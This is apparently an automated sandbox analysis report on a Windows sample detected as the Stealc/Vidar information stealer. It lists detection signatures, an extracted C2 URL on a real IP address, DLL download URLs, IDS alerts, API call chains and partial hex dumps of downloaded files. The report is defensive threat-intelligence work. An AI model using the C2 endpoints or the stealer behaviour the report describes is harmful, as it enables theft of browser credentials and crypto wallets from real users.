Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1532430
MD5:	a20790233dda144c25d87b408f14cd70
SHA1:	2efe5495b2bb1df5e88065332b6f6c47873f015d
SHA256:	04e6a68c80314b30bf8c078b4ab2e7e52955fee7e0054e3748616dd7891527ef
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses IRC for communication with a C&C

Uses known network protocols on non-standard ports

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7008 cmdline: "C:\Users\user\Desktop\file.exe" MD5: A20790233DDA144C25D87B408F14CD70)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1703301988.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1904101313.000000000109E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7008	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7008	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7008	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7008	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.a00000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T06:54:06.204533+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T06:54:06.197200+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T06:54:06.420237+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T06:54:07.511946+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T06:54:06.433009+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T06:54:05.972765+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T06:54:07.972599+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T06:54:13.399710+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T06:54:14.534488+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T06:54:15.949182+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T06:54:16.508330+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T06:54:18.259669+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T06:54:18.765168+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.a00000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.a00000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.37/0d60be0de1	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll#C	Virustotal: Detection: 21%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpw	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dllS	Virustotal: Detection: 16%	Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 52%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A09B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00A09B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0C820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_00A0C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A09AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00A09AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A07240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00A07240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A18EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00A18EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C5D6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1924611946.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1924611946.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A14910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00A14910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00A0DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00A0E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A13EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00A13EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00A0F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00A016D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00A0BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A138B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00A138B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00A0ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A14570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00A14570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00A0DE10

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Uses IRC for communication with a C&C

Source: unknown

IRC traffic detected: 185.215.113.37:80 -> 192.168.2.4:49730 JOIN clause is required before %s%d columns assigned %d valuescannot use RETURNING in a triggerDISTINCT is not supported for window functionstoo many arguments on function %TUNIONORDER BYLIMIT%s clause should come after %s not beforetoo many terms in compound SELECTsyntax error after column name "%.*s"table %s may not be alteredduplicate WITH table name: %sframe specificationORDER BY clausePARTITION clausecannot override %s of window: %sunsupported frame specificationno such collation sequence: %ssqlite\_%sqlite_stat1BBBobject name reserved for internal use: %stoo many terms in %s BY clause%r %s BY term out of range - should be between 1 and %dFOREIGN KEY constraint failedvtable constructor called recursively: %svtable constructor failed: %svtable constructor did not declare schema: %shidden%s.%s%s.rowiderror in %s %s%s%s: %scolumn%dDISTINCT aggregates must have exactly one argumentUSE TEMP B-TREE FOR %s(DISTINCT)"%w" %Q%sdelayed %dms for lock/sharing conflict at line %dcannot limit WAL size: %sfailed memory resize %u to %u bytesfailed to allocate %u bytes of memorycannot open file%s at line %d of [%.10s]database corruptionerror in %s %s after %s: %smalformed database sc

Uses known network protocols on non-standard ports

Source: unknown

Network traffic detected: IRC traffic on port 80 -> 49730

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 13 Oct 2024 04:54:07 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 13 Oct 2024 04:54:13 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
